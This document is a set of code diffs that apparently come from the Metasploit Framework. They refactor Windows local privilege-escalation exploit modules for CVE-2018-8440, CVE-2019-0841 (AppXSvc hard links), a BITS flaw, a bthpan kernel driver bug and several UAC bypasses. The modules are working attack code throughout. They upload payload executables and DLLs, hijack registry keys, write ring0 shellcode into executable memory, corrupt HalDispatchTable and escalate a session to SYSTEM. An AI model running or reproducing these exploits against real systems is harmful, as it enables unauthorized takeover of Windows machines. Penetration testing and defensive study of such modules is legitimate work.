dll.add_function('NtQuerySystemInformation', 'DWORD', [
|
||||
['DWORD', 'SystemInformationClass', 'in'],
|
||||
['PBLOB', 'SystemInformation', 'inout'],
|
||||
['DWORD', 'SystemInformationLength', 'in'],
|
||||
['PDWORD', 'ReturnLength', 'inout'],
|
||||
])
|
||||
|
||||
dll.add_function('NtQuerySystemInformation', 'DWORD',[
|
||||
["DWORD","SystemInformationClass","in"],
|
||||
["PBLOB","SystemInformation","inout"],
|
||||
["DWORD","SystemInformationLength","in"],
|
||||
["PDWORD","ReturnLength","inout"],
|
||||
])
|
||||
dll.add_function('NtQuerySystemTime', 'DWORD', [
|
||||
['PBLOB', 'SystemTime', 'inout'],
|
||||
])
|
||||
|
||||
dll.add_function('NtQuerySystemTime', 'DWORD',[
|
||||
["PBLOB","SystemTime","inout"],
|
||||
])
|
||||
dll.add_function('NtWaitForSingleObject', 'DWORD', [
|
||||
['DWORD', 'Handle', 'in'],
|
||||
['BOOL', 'Alertable', 'in'],
|
||||
['PBLOB', 'Timeout', 'in'],
|
||||
])
|
||||
|
||||
dll.add_function('NtWaitForSingleObject', 'DWORD',[
|
||||
["DWORD","Handle","in"],
|
||||
["BOOL","Alertable","in"],
|
||||
["PBLOB","Timeout","in"],
|
||||
])
|
||||
dll.add_function('RtlCharToInteger', 'DWORD', [
|
||||
['PBLOB', 'String', 'inout'],
|
||||
['DWORD', 'Base', 'in'],
|
||||
['PDWORD', 'Value', 'inout'],
|
||||
])
|
||||
|
||||
dll.add_function('RtlCharToInteger', 'DWORD',[
|
||||
["PBLOB","String","inout"],
|
||||
["DWORD","Base","in"],
|
||||
["PDWORD","Value","inout"],
|
||||
])
|
||||
dll.add_function('RtlConvertSidToUnicodeString', 'DWORD', [
|
||||
['PBLOB', 'UnicodeString', 'inout'],
|
||||
['PBLOB', 'Sid', 'inout'],
|
||||
['BOOL', 'AllocateDestinationString', 'in'],
|
||||
])
|
||||
|
||||
dll.add_function('RtlConvertSidToUnicodeString', 'DWORD',[
|
||||
["PBLOB","UnicodeString","inout"],
|
||||
["PBLOB","Sid","inout"],
|
||||
["BOOL","AllocateDestinationString","in"],
|
||||
])
|
||||
dll.add_function('RtlFreeAnsiString', 'VOID', [
|
||||
['PBLOB', 'AnsiString', 'inout'],
|
||||
])
|
||||
|
||||
dll.add_function('RtlFreeAnsiString', 'VOID',[
|
||||
["PBLOB","AnsiString","inout"],
|
||||
])
|
||||
dll.add_function('RtlFreeOemString', 'VOID', [
|
||||
['PBLOB', 'OemString', 'inout'],
|
||||
])
|
||||
|
||||
dll.add_function('RtlFreeOemString', 'VOID',[
|
||||
["PBLOB","OemString","inout"],
|
||||
])
|
||||
dll.add_function('RtlFreeUnicodeString', 'VOID', [
|
||||
['PBLOB', 'UnicodeString', 'inout'],
|
||||
])
|
||||
|
||||
dll.add_function('RtlFreeUnicodeString', 'VOID',[
|
||||
["PBLOB","UnicodeString","inout"],
|
||||
])
|
||||
dll.add_function('RtlGetNtVersionNumbers', 'VOID', [
|
||||
['PDWORD', 'MajorVersion', 'inout'],
|
||||
['PDWORD', 'MinorVersion', 'inout'],
|
||||
['PDWORD', 'BuildNumber', 'inout']
|
||||
])
|
||||
|
||||
dll.add_function('RtlGetNtVersionNumbers', 'VOID',[
|
||||
["PDWORD","MajorVersion","inout"],
|
||||
["PDWORD","MinorVersion","inout"],
|
||||
["PDWORD","BuildNumber","inout"]
|
||||
])
|
||||
dll.add_function('RtlGetVersion', 'VOID', [
|
||||
['PBLOB', 'VersionInformation', 'inout']
|
||||
])
|
||||
|
||||
dll.add_function('RtlInitAnsiString', 'VOID',[
|
||||
["PBLOB","DestinationString","inout"],
|
||||
["PBLOB","SourceString","inout"],
|
||||
])
|
||||
dll.add_function('RtlInitAnsiString', 'VOID', [
|
||||
['PBLOB', 'DestinationString', 'inout'],
|
||||
['PBLOB', 'SourceString', 'inout'],
|
||||
])
|
||||
|
||||
dll.add_function('RtlInitString', 'VOID',[
|
||||
["PBLOB","DestinationString","inout"],
|
||||
["PBLOB","SourceString","inout"],
|
||||
])
|
||||
dll.add_function('RtlInitString', 'VOID', [
|
||||
['PBLOB', 'DestinationString', 'inout'],
|
||||
['PBLOB', 'SourceString', 'inout'],
|
||||
])
|
||||
|
||||
dll.add_function('RtlLocalTimeToSystemTime', 'DWORD',[
|
||||
["PBLOB","LocalTime","in"],
|
||||
["PBLOB","SystemTime","inout"],
|
||||
])
|
||||
dll.add_function('RtlLocalTimeToSystemTime', 'DWORD', [
|
||||
['PBLOB', 'LocalTime', 'in'],
|
||||
['PBLOB', 'SystemTime', 'inout'],
|
||||
])
|
||||
|
||||
dll.add_function('RtlNtStatusToDosError', 'DWORD',[
|
||||
["DWORD","Status","in"],
|
||||
])
|
||||
dll.add_function('RtlNtStatusToDosError', 'DWORD', [
|
||||
['DWORD', 'Status', 'in'],
|
||||
])
|
||||
|
||||
dll.add_function('RtlTimeToSecondsSince1970', 'BOOL',[
|
||||
["PBLOB","Time","inout"],
|
||||
["PDWORD","ElapsedSeconds","inout"],
|
||||
])
|
||||
dll.add_function('RtlTimeToSecondsSince1970', 'BOOL', [
|
||||
['PBLOB', 'Time', 'inout'],
|
||||
['PDWORD', 'ElapsedSeconds', 'inout'],
|
||||
])
|
||||
|
||||
dll.add_function('RtlUniform', 'DWORD',[
|
||||
["PDWORD","Seed","inout"],
|
||||
])
|
||||
dll.add_function('RtlUniform', 'DWORD', [
|
||||
['PDWORD', 'Seed', 'inout'],
|
||||
])
|
||||
|
||||
dll.add_function('RtlUnwind', 'VOID',[
|
||||
["PBLOB","TargetFrame","in"],
|
||||
["PBLOB","TargetIp","in"],
|
||||
["PBLOB","ExceptionRecord","in"],
|
||||
["PBLOB","ReturnValue","in"],
|
||||
])
|
||||
dll.add_function('RtlUnwind', 'VOID', [
|
||||
['PBLOB', 'TargetFrame', 'in'],
|
||||
['PBLOB', 'TargetIp', 'in'],
|
||||
['PBLOB', 'ExceptionRecord', 'in'],
|
||||
['PBLOB', 'ReturnValue', 'in'],
|
||||
])
|
||||
|
||||
dll.add_function('RtlInitUnicodeString', 'VOID',[
|
||||
["PBLOB","DestinationString","out"],
|
||||
["PWCHAR","SourceString","in"]
|
||||
])
|
||||
dll.add_function('RtlInitUnicodeString', 'VOID', [
|
||||
['PBLOB', 'DestinationString', 'out'],
|
||||
['PWCHAR', 'SourceString', 'in']
|
||||
])
|
||||
|
||||
dll.add_function('NtCreateSymbolicLinkObject', 'DWORD',[
|
||||
["PDWORD","LinkHandle","out"],
|
||||
["DWORD","DesiredAccess","in"], # ACCESS_MASK
|
||||
["PBLOB","ObjectAttributes","in"], # POBJECT_ATTRIBUTES
|
||||
["PBLOB","TargetName","in"] # PUNICODE_STRING
|
||||
])
|
||||
|
||||
return dll
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
end; end; end; end; end; end; end
|
||||
dll.add_function('NtCreateSymbolicLinkObject', 'DWORD', [
|
||||
['PDWORD', 'LinkHandle', 'out'],
|
||||
['DWORD', 'DesiredAccess', 'in'], # ACCESS_MASK
|
||||
['PBLOB', 'ObjectAttributes', 'in'], # POBJECT_ATTRIBUTES
|
||||
['PBLOB', 'TargetName', 'in'] # PUNICODE_STRING
|
||||
])
|
||||
|
||||
return dll
|
||||
end
|
||||
|
||||
end
|
||||
end; end; end; end; end; end; end
|
||||
|
|
|
@ -32,30 +32,26 @@ class MetasploitModule < Msf::Exploit::Local
|
|||
This module has been tested against Windows 10 Pro x64.
|
||||
},
|
||||
'License' => MSF_LICENSE,
|
||||
'Author' =>
|
||||
[
|
||||
'SandboxEscaper', # Original discovery and PoC
|
||||
'bwatters-r7', # msf module
|
||||
'asoto-r7', # msf module
|
||||
'Jacob Robles' # msf module
|
||||
],
|
||||
'Author' => [
|
||||
'SandboxEscaper', # Original discovery and PoC
|
||||
'bwatters-r7', # msf module
|
||||
'asoto-r7', # msf module
|
||||
'Jacob Robles' # msf module
|
||||
],
|
||||
'Platform' => 'win',
|
||||
'SessionTypes' => ['meterpreter'],
|
||||
'Targets' =>
|
||||
[
|
||||
['Windows 10 x64', { 'Arch' => ARCH_X64 }]
|
||||
],
|
||||
'References' =>
|
||||
[
|
||||
['CVE', '2018-8440'],
|
||||
['URL', 'https://github.com/SandboxEscaper/randomrepo/'],
|
||||
],
|
||||
'Notes' =>
|
||||
{
|
||||
# Exploit overwrites PrintConfig.dll, which makes it unusable.
|
||||
'Stability' => [ OS_RESOURCE_LOSS ],
|
||||
'Reliability' => [ REPEATABLE_SESSION ]
|
||||
},
|
||||
'Targets' => [
|
||||
['Windows 10 x64', { 'Arch' => ARCH_X64 }]
|
||||
],
|
||||
'References' => [
|
||||
['CVE', '2018-8440'],
|
||||
['URL', 'https://github.com/SandboxEscaper/randomrepo/'],
|
||||
],
|
||||
'Notes' => {
|
||||
# Exploit overwrites PrintConfig.dll, which makes it unusable.
|
||||
'Stability' => [ OS_RESOURCE_LOSS ],
|
||||
'Reliability' => [ REPEATABLE_SESSION ]
|
||||
},
|
||||
'DisclosureDate' => '2018-08-27',
|
||||
'DefaultTarget' => 0
|
||||
)
|
||||
|
@ -79,7 +75,8 @@ class MetasploitModule < Msf::Exploit::Local
|
|||
fail_with(Failure::NoTarget, 'Exploit code is 64-bit only')
|
||||
end
|
||||
|
||||
if sysinfo['OS'] =~ /XP/
|
||||
version = get_version_info
|
||||
if version.xp_or_2003? && version.workstation?
|
||||
fail_with(Failure::Unknown, 'The exploit binary does not support Windows XP')
|
||||
end
|
||||
end
|
||||
|
|
|
@ -13,64 +13,67 @@ class MetasploitModule < Msf::Exploit::Local
|
|||
include Exploit::FileDropper
|
||||
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
'Name' => 'AppXSvc Hard Link Privilege Escalation',
|
||||
'Description' => %q(
|
||||
There exists a privilege escalation vulnerability for
|
||||
Windows 10 builds prior to build 17763. Due to the AppXSvc's
|
||||
improper handling of hard links, a user can gain full
|
||||
privileges over a SYSTEM-owned file. The user can then utilize
|
||||
the new file to execute code as SYSTEM.
|
||||
super(
|
||||
update_info(
|
||||
info,
|
||||
'Name' => 'AppXSvc Hard Link Privilege Escalation',
|
||||
'Description' => %q{
|
||||
There exists a privilege escalation vulnerability for
|
||||
Windows 10 builds prior to build 17763. Due to the AppXSvc's
|
||||
improper handling of hard links, a user can gain full
|
||||
privileges over a SYSTEM-owned file. The user can then utilize
|
||||
the new file to execute code as SYSTEM.
|
||||
|
||||
This module employs a technique using the Diagnostics Hub Standard
|
||||
Collector Service (DiagHub) which was discovered by James Forshaw to
|
||||
load and execute a DLL as SYSTEM.
|
||||
),
|
||||
'License' => MSF_LICENSE,
|
||||
'Author' =>
|
||||
[
|
||||
'Nabeel Ahmed', # Vulnerability discovery and PoC
|
||||
'James Forshaw', # Code creating hard links and communicating with DiagHub service
|
||||
'Shelby Pace' # Metasploit module
|
||||
],
|
||||
'References' =>
|
||||
[
|
||||
This module employs a technique using the Diagnostics Hub Standard
|
||||
Collector Service (DiagHub) which was discovered by James Forshaw to
|
||||
load and execute a DLL as SYSTEM.
|
||||
},
|
||||
'License' => MSF_LICENSE,
|
||||
'Author' => [
|
||||
'Nabeel Ahmed', # Vulnerability discovery and PoC
|
||||
'James Forshaw', # Code creating hard links and communicating with DiagHub service
|
||||
'Shelby Pace' # Metasploit module
|
||||
],
|
||||
'References' => [
|
||||
[ 'CVE', '2019-0841' ],
|
||||
[ 'URL', 'https://krbtgt.pw/dacl-permissions-overwrite-privilege-escalation-cve-2019-0841/' ],
|
||||
[ 'URL', 'https://googleprojectzero.blogspot.com/2015/12/between-rock-and-hard-link.html' ],
|
||||
[ 'URL', 'https://googleprojectzero.blogspot.com/2018/04/windows-exploitation-tricks-exploiting.html' ],
|
||||
[ 'URL', 'https://0x00-0x00.github.io/research/2019/05/30/Coding-a-reliable-CVE-2019-0841-Bypass.html' ]
|
||||
],
|
||||
'Targets' =>
|
||||
[
|
||||
'Platform' => 'win',
|
||||
'SessionTypes' => [ 'meterpreter' ],
|
||||
'Targets' => [
|
||||
[ 'Windows 10', { 'Platform' => 'win' } ]
|
||||
],
|
||||
'DisclosureDate' => '2019-04-09',
|
||||
'DefaultTarget' => 0
|
||||
))
|
||||
'DisclosureDate' => '2019-04-09',
|
||||
'DefaultTarget' => 0
|
||||
)
|
||||
)
|
||||
end
|
||||
|
||||
def check
|
||||
return CheckCode::Unknown if sysinfo['OS'] !~ /windows\s10/i
|
||||
version = get_version_info
|
||||
if version.build_number.between?(Msf::WindowsVersion::Win10_InitialRelease, Msf::WindowsVersion::Win10_1803)
|
||||
return CheckCode::Appears
|
||||
elsif version.build_number >= Msf::WindowsVersion::Win10_InitialRelease
|
||||
return CheckCode::Detected
|
||||
end
|
||||
|
||||
path = expand_path('%WINDIR%\\system32\\win32k.sys')
|
||||
major, minor, build, revision, brand = file_version(path)
|
||||
return CheckCode::Appears if build < 17763
|
||||
|
||||
CheckCode::Detected
|
||||
return CheckCode::Unknown
|
||||
end
|
||||
|
||||
def upload_file(file_name, file_path)
|
||||
contents = File.read(File.join(Msf::Config.data_directory, 'exploits', 'CVE-2019-0841', file_name))
|
||||
write_file(file_path, contents)
|
||||
register_file_for_cleanup(file_path)
|
||||
rescue
|
||||
rescue StandardError
|
||||
fail_with(Failure::UnexpectedReply, 'Failed to write file contents to target')
|
||||
end
|
||||
|
||||
def init_process
|
||||
print_status("Attempting to launch Microsoft Edge minimized.")
|
||||
cmd_exec("cmd.exe /c start /min microsoft-edge:", nil, 30)
|
||||
print_status('Attempting to launch Microsoft Edge minimized.')
|
||||
cmd_exec('cmd.exe /c start /min microsoft-edge:', nil, 30)
|
||||
end
|
||||
|
||||
def mk_hard_link(src, target, link_exe)
|
||||
|
@ -91,8 +94,8 @@ class MetasploitModule < Msf::Exploit::Local
|
|||
fail_with(Failure::NotVulnerable, 'Failed to detect Windows 10') if vuln_status == CheckCode::Unknown
|
||||
|
||||
fail_with(Failure::None, 'Already running with SYSTEM privileges') if is_system?
|
||||
cmd_exec("taskkill /F /IM MicrosoftEdge.exe /FI \"STATUS eq RUNNING\"")
|
||||
dat_path = expand_path("%USERPROFILE%\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\Settings\\Settings.dat")
|
||||
cmd_exec('taskkill /F /IM MicrosoftEdge.exe /FI "STATUS eq RUNNING"')
|
||||
dat_path = expand_path('%USERPROFILE%\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\Settings\\Settings.dat')
|
||||
fail_with(Failure::NotFound, 'Path does not exist') unless exist?(dat_path)
|
||||
|
||||
if session.arch == ARCH_X86
|
||||
|
@ -109,7 +112,7 @@ class MetasploitModule < Msf::Exploit::Local
|
|||
fail_with(Failure::UnexpectedReply, 'Did not retrieve expected output') unless mk_hard_link(dat_path, @rtf_path, link_file_name)
|
||||
print_good('Successfully created hard link')
|
||||
init_process
|
||||
cmd_exec("taskkill /F /IM MicrosoftEdge.exe")
|
||||
cmd_exec('taskkill /F /IM MicrosoftEdge.exe')
|
||||
|
||||
write_payload
|
||||
diaghub_path = expand_path("%TEMP%\\#{Rex::Text.rand_text_alpha(8..12)}")
|
||||
|
@ -119,10 +122,12 @@ class MetasploitModule < Msf::Exploit::Local
|
|||
end
|
||||
|
||||
def cleanup
|
||||
folder_path = expand_path("%TEMP%\\etw")
|
||||
folder_path = expand_path('%TEMP%\\etw')
|
||||
dir_rm(folder_path)
|
||||
|
||||
write_file(@rtf_path, @original_data)
|
||||
unless @rtf_path.nil?
|
||||
write_file(@rtf_path, @original_data)
|
||||
end
|
||||
super
|
||||
end
|
||||
end
|
||||
|
|
|
@ -152,11 +152,10 @@ class MetasploitModule < Msf::Exploit::Local
|
|||
# - Checks if the session is not already SYSTEM
|
||||
def check
|
||||
privs = client.sys.config.getprivs
|
||||
os = client.sys.config.sysinfo['OS']
|
||||
|
||||
version = get_version_info
|
||||
# Fast fails
|
||||
if os.include?('Windows 7') || os.include?('Windows XP')
|
||||
print_bad("Operating system: #{os}")
|
||||
if version.build_number < Msf::WindowsVersion::Win8 && !version.windows_server?
|
||||
print_bad("Operating system: #{version.product_name}")
|
||||
print_bad('BITS behavior on Windows 7 and previous has not been shown vulnerable.')
|
||||
return Exploit::CheckCode::Safe
|
||||
end
|
||||
|
|
|
@ -86,10 +86,10 @@ class MetasploitModule < Msf::Exploit::Local
|
|||
end
|
||||
|
||||
def fill_memory(proc, address, length, content)
|
||||
session.railgun.ntdll.NtAllocateVirtualMemory(-1, [ address ].pack('V'), nil, [ length ].pack('V'), "MEM_RESERVE|MEM_COMMIT|MEM_TOP_DOWN", "PAGE_EXECUTE_READWRITE")
|
||||
session.railgun.ntdll.NtAllocateVirtualMemory(-1, [ address ].pack('V'), nil, [ length ].pack('V'), 'MEM_RESERVE|MEM_COMMIT|MEM_TOP_DOWN', 'PAGE_EXECUTE_READWRITE')
|
||||
|
||||
unless proc.memory.writable?(address)
|
||||
vprint_error("Failed to allocate memory")
|
||||
vprint_error('Failed to allocate memory')
|
||||
return nil
|
||||
end
|
||||
vprint_good("#{address} is now writable")
|
||||
|
@ -97,7 +97,7 @@ class MetasploitModule < Msf::Exploit::Local
|
|||
result = proc.memory.write(address, content)
|
||||
|
||||
if result.nil?
|
||||
vprint_error("Failed to write contents to memory")
|
||||
vprint_error('Failed to write contents to memory')
|
||||
return nil
|
||||
end
|
||||
vprint_good("Contents successfully written to 0x#{address.to_s(16)}")
|
||||
|
@ -132,14 +132,14 @@ class MetasploitModule < Msf::Exploit::Local
|
|||
|
||||
def check
|
||||
# covers both native x64 and WOW64
|
||||
if sysinfo["Architecture"] == ARCH_X64
|
||||
if sysinfo['Architecture'] == ARCH_X64
|
||||
return Exploit::CheckCode::Safe
|
||||
end
|
||||
|
||||
os = sysinfo["OS"]
|
||||
return Exploit::CheckCode::Safe unless os =~ /windows xp.*service pack 3/i
|
||||
version = get_version_info
|
||||
return Exploit::CheckCode::Safe unless version.build_number == Msf::WindowsVersion::XP_SP3
|
||||
|
||||
handle = open_device("\\\\.\\bthpan", 'FILE_SHARE_WRITE|FILE_SHARE_READ', 0, 'OPEN_EXISTING')
|
||||
handle = open_device('\\\\.\\bthpan', 'FILE_SHARE_WRITE|FILE_SHARE_READ', 0, 'OPEN_EXISTING')
|
||||
return Exploit::CheckCode::Safe unless handle
|
||||
|
||||
session.railgun.kernel32.CloseHandle(handle)
|
||||
|
@ -153,25 +153,25 @@ class MetasploitModule < Msf::Exploit::Local
|
|||
end
|
||||
|
||||
if check == Exploit::CheckCode::Safe
|
||||
fail_with(Failure::NotVulnerable, "Exploit not available on this system")
|
||||
fail_with(Failure::NotVulnerable, 'Exploit not available on this system')
|
||||
end
|
||||
|
||||
handle = open_device("\\\\.\\bthpan", 'FILE_SHARE_WRITE|FILE_SHARE_READ', 0, 'OPEN_EXISTING')
|
||||
handle = open_device('\\\\.\\bthpan', 'FILE_SHARE_WRITE|FILE_SHARE_READ', 0, 'OPEN_EXISTING')
|
||||
if handle.nil?
|
||||
fail_with(Failure::NoTarget, "Unable to open \\\\.\\bthpan device")
|
||||
fail_with(Failure::NoTarget, 'Unable to open \\\\.\\bthpan device')
|
||||
end
|
||||
|
||||
my_target = targets[0]
|
||||
print_status("Disclosing the HalDispatchTable address...")
|
||||
print_status('Disclosing the HalDispatchTable address...')
|
||||
@addresses = disclose_addresses(my_target)
|
||||
if @addresses.nil?
|
||||
session.railgun.kernel32.CloseHandle(handle)
|
||||
fail_with(Failure::Unknown, "Failed to disclose necessary address for exploitation. Aborting.")
|
||||
fail_with(Failure::Unknown, 'Failed to disclose necessary address for exploitation. Aborting.')
|
||||
else
|
||||
print_good("Address successfully disclosed.")
|
||||
print_good('Address successfully disclosed.')
|
||||
end
|
||||
|
||||
print_status("Storing the shellcode in memory...")
|
||||
print_status('Storing the shellcode in memory...')
|
||||
this_proc = session.sys.process.open
|
||||
kernel_shell = ring0_shellcode
|
||||
kernel_shell_address = 0x1
|
||||
|
@ -183,28 +183,28 @@ class MetasploitModule < Msf::Exploit::Local
|
|||
result = fill_memory(this_proc, kernel_shell_address, buf.length, buf)
|
||||
if result.nil?
|
||||
session.railgun.kernel32.CloseHandle(handle)
|
||||
fail_with(Failure::Unknown, "Error while storing the kernel stager shellcode on memory")
|
||||
fail_with(Failure::Unknown, 'Error while storing the kernel stager shellcode on memory')
|
||||
end
|
||||
print_good("Kernel stager successfully stored at 0x#{kernel_shell_address.to_s(16)}")
|
||||
|
||||
print_status("Triggering the vulnerability, corrupting the HalDispatchTable...")
|
||||
session.railgun.ntdll.NtDeviceIoControlFile(handle, nil, nil, nil, 4, 0x0012d814, 0x1, 0x258, @addresses["halDispatchTable"] + 0x4, 0)
|
||||
print_status('Triggering the vulnerability, corrupting the HalDispatchTable...')
|
||||
session.railgun.ntdll.NtDeviceIoControlFile(handle, nil, nil, nil, 4, 0x0012d814, 0x1, 0x258, @addresses['halDispatchTable'] + 0x4, 0)
|
||||
session.railgun.kernel32.CloseHandle(handle)
|
||||
|
||||
print_status("Executing the Kernel Stager throw NtQueryIntervalProfile()...")
|
||||
print_status('Executing the Kernel Stager throw NtQueryIntervalProfile()...')
|
||||
session.railgun.ntdll.NtQueryIntervalProfile(2, 4)
|
||||
|
||||
print_status("Checking privileges after exploitation...")
|
||||
print_status('Checking privileges after exploitation...')
|
||||
|
||||
unless is_system?
|
||||
fail_with(Failure::Unknown, "The privilege escalation wasn't successful")
|
||||
end
|
||||
print_good("Privilege escalation successful!")
|
||||
print_good('Privilege escalation successful!')
|
||||
|
||||
p = payload.encoded
|
||||
print_status("Injecting #{p.length} bytes to memory and executing it...")
|
||||
unless execute_shellcode(p)
|
||||
fail_with(Failure::Unknown, "Error while executing the payload")
|
||||
fail_with(Failure::Unknown, 'Error while executing the payload')
|
||||
end
|
||||
end
|
||||
end
|
||||
|
|
|
@ -51,7 +51,7 @@ class MetasploitModule < Msf::Exploit::Local
|
|||
register_options([
|
||||
OptEnum.new('TECHNIQUE', [
|
||||
true, 'Technique to use if UAC is turned off',
|
||||
'EXE', %w(PSH EXE)
|
||||
'EXE', %w[PSH EXE]
|
||||
]),
|
||||
])
|
||||
end
|
||||
|
@ -64,12 +64,10 @@ class MetasploitModule < Msf::Exploit::Local
|
|||
if admin_group.nil?
|
||||
print_error('Either whoami is not there or failed to execute')
|
||||
print_error('Continuing under assumption you already checked...')
|
||||
elsif admin_group
|
||||
print_good('Part of Administrators group! Continuing...')
|
||||
else
|
||||
if admin_group
|
||||
print_good('Part of Administrators group! Continuing...')
|
||||
else
|
||||
fail_with(Failure::NoAccess, 'Not in admins group, cannot escalate with this module')
|
||||
end
|
||||
fail_with(Failure::NoAccess, 'Not in admins group, cannot escalate with this module')
|
||||
end
|
||||
|
||||
if get_integrity_level == INTEGRITY_LEVEL_SID[:low]
|
||||
|
@ -107,16 +105,16 @@ class MetasploitModule < Msf::Exploit::Local
|
|||
session.sys.process.kill(pid)
|
||||
# delete the uac bypass payload
|
||||
file_rm(path_bypass)
|
||||
file_rm("#{expand_path("%TEMP%")}\\tior.exe")
|
||||
cmd_exec('cmd.exe', "/c del \"#{expand_path("%TEMP%")}\\w7e*.tmp\"")
|
||||
file_rm("#{expand_path('%TEMP%')}\\tior.exe")
|
||||
cmd_exec('cmd.exe', "/c del \"#{expand_path('%TEMP%')}\\w7e*.tmp\"")
|
||||
end
|
||||
|
||||
def path_bypass
|
||||
@bypass_path ||= "#{expand_path("%TEMP%")}\\#{Rex::Text.rand_text_alpha((rand(8) + 6))}.exe"
|
||||
@path_bypass ||= "#{expand_path('%TEMP%')}\\#{Rex::Text.rand_text_alpha(rand(6..13))}.exe"
|
||||
end
|
||||
|
||||
def path_payload
|
||||
@payload_path ||= "#{expand_path("%TEMP%")}\\#{Rex::Text.rand_text_alpha((rand(8) + 6))}.exe"
|
||||
@path_payload ||= "#{expand_path('%TEMP%')}\\#{Rex::Text.rand_text_alpha(rand(6..13))}.exe"
|
||||
end
|
||||
|
||||
def upload_binaries!
|
||||
|
@ -137,7 +135,7 @@ class MetasploitModule < Msf::Exploit::Local
|
|||
#
|
||||
# Upload UAC bypass to the filesystem
|
||||
#
|
||||
upload_file("#{path_bypass}", bpexe)
|
||||
upload_file(path_bypass.to_s, bpexe)
|
||||
print_status("Meterpreter stager executable #{payload.length} bytes long being uploaded..")
|
||||
|
||||
write_file(path_payload, payload)
|
||||
|
@ -159,24 +157,21 @@ class MetasploitModule < Msf::Exploit::Local
|
|||
end
|
||||
|
||||
def validate_environment!
|
||||
fail_with(Failure::None, 'Already in elevated state') if is_admin? or is_system?
|
||||
fail_with(Failure::None, 'Already in elevated state') if is_admin? || is_system?
|
||||
#
|
||||
# Verify use against Vista+
|
||||
#
|
||||
winver = sysinfo['OS']
|
||||
|
||||
unless winver =~ /Windows Vista|Windows 2008|Windows [78]/
|
||||
fail_with(Failure::NotVulnerable, "#{winver} is not vulnerable.")
|
||||
version = get_version_info
|
||||
unless version.build_number.between?(Msf::WindowsVersion::Vista_SP0, Msf::WindowsVersion::Win81)
|
||||
fail_with(Failure::NotVulnerable, "#{version.product_name} is not vulnerable.")
|
||||
end
|
||||
|
||||
if is_uac_enabled?
|
||||
print_status 'UAC is Enabled, checking level...'
|
||||
elsif is_in_admin_group?
|
||||
fail_with(Failure::Unknown, 'UAC is disabled and we are in the admin group so something has gone wrong...')
|
||||
else
|
||||
if is_in_admin_group?
|
||||
fail_with(Failure::Unknown, 'UAC is disabled and we are in the admin group so something has gone wrong...')
|
||||
else
|
||||
fail_with(Failure::NoAccess, 'Not in admins group, cannot escalate with this module')
|
||||
end
|
||||
fail_with(Failure::NoAccess, 'Not in admins group, cannot escalate with this module')
|
||||
end
|
||||
end
|
||||
end
|
||||
|
|
|
@ -10,6 +10,7 @@ class MetasploitModule < Msf::Exploit::Local
|
|||
include Post::Windows::Priv
|
||||
include Post::Windows::Registry
|
||||
include Post::Windows::Runas
|
||||
include Post::Windows::Version
|
||||
include Exploit::FileDropper
|
||||
|
||||
CLSID_PATH = 'HKCU\\Software\\Classes\\CLSID'.freeze
|
||||
|
@ -69,25 +70,13 @@ class MetasploitModule < Msf::Exploit::Local
|
|||
end
|
||||
|
||||
def check
|
||||
vprint_status("System OS Detected: #{sysinfo['OS']}")
|
||||
version_info = get_version_info
|
||||
vprint_status("System OS Detected: #{version_info.product}")
|
||||
# return CheckCode::Safe('UAC is not enabled') unless is_uac_enabled?
|
||||
if sysinfo['OS'] =~ /Windows (7|8|2008|2012)/
|
||||
if version_info.build_number.between?(Msf::WindowsVersion::Win7, Msf::WindowsVersion::Win10_1903)
|
||||
return CheckCode::Appears
|
||||
end
|
||||
|
||||
if sysinfo['OS'] =~ /Windows (10|2016)/
|
||||
sysinfo_value = sysinfo['OS']
|
||||
build_num_arr = sysinfo_value.split('Build')
|
||||
return CheckCode::Safe('Unable to determine build Number') if build_num_arr.length < 2
|
||||
|
||||
build_num = build_num_arr[1].to_i
|
||||
vprint_status("Detected build number: #{build_num}")
|
||||
if build_num < 18362
|
||||
return CheckCode::Appears
|
||||
else
|
||||
return CheckCode::Safe
|
||||
end
|
||||
end
|
||||
return CheckCode::Safe
|
||||
end
|
||||
|
||||
|
|
|
@ -63,7 +63,8 @@ class MetasploitModule < Msf::Exploit::Local
|
|||
end
|
||||
|
||||
def check
|
||||
if sysinfo['OS'] =~ /Windows (7|8|2008|2012|10)/ && is_uac_enabled?
|
||||
get_version_info
|
||||
if is_uac_enabled?
|
||||
Exploit::CheckCode::Appears
|
||||
else
|
||||
Exploit::CheckCode::Safe
|
||||
|
@ -73,7 +74,7 @@ class MetasploitModule < Msf::Exploit::Local
|
|||
def write_reg_value(registry_hash)
|
||||
vprint_status("Writing #{registry_hash[:value_name]} to #{registry_hash[:key_name]}")
|
||||
begin
|
||||
if not registry_key_exist?(registry_hash[:key_name])
|
||||
if !registry_key_exist?(registry_hash[:key_name])
|
||||
registry_createkey(registry_hash[:key_name])
|
||||
registry_hash[:delete_on_cleanup] = true
|
||||
else
|
||||
|
@ -101,7 +102,7 @@ class MetasploitModule < Msf::Exploit::Local
|
|||
registry_deleteval(registry_hash[:key_name], registry_hash[:value_name])
|
||||
end
|
||||
rescue Rex::Post::Meterpreter::RequestError => e
|
||||
print_bad("Unable to clean up registry")
|
||||
print_bad('Unable to clean up registry')
|
||||
print_error(e.to_s)
|
||||
end
|
||||
end
|
||||
|
@ -126,44 +127,45 @@ class MetasploitModule < Msf::Exploit::Local
|
|||
|
||||
# get directory locations straight
|
||||
win_dir = session.sys.config.getenv('windir')
|
||||
vprint_status("win_dir = " + win_dir)
|
||||
vprint_status('win_dir = ' + win_dir)
|
||||
tmp_dir = session.sys.config.getenv('tmp')
|
||||
vprint_status("tmp_dir = " + tmp_dir)
|
||||
exploit_dir = win_dir + "\\System32\\"
|
||||
vprint_status("exploit_dir = " + exploit_dir)
|
||||
target_filepath = exploit_dir + "gpedit.msc"
|
||||
vprint_status("target_filepath = " + target_filepath)
|
||||
payload_name = datastore['PAYLOAD_NAME'] || Rex::Text.rand_text_alpha((rand(8) + 6)) + '.dll'
|
||||
vprint_status('tmp_dir = ' + tmp_dir)
|
||||
exploit_dir = win_dir + '\\System32\\'
|
||||
vprint_status('exploit_dir = ' + exploit_dir)
|
||||
target_filepath = exploit_dir + 'gpedit.msc'
|
||||
vprint_status('target_filepath = ' + target_filepath)
|
||||
payload_name = datastore['PAYLOAD_NAME'] || Rex::Text.rand_text_alpha(rand(6..13)) + '.dll'
|
||||
payload_pathname = tmp_dir + '\\' + payload_name
|
||||
|
||||
# make payload
|
||||
vprint_status("Making Payload")
|
||||
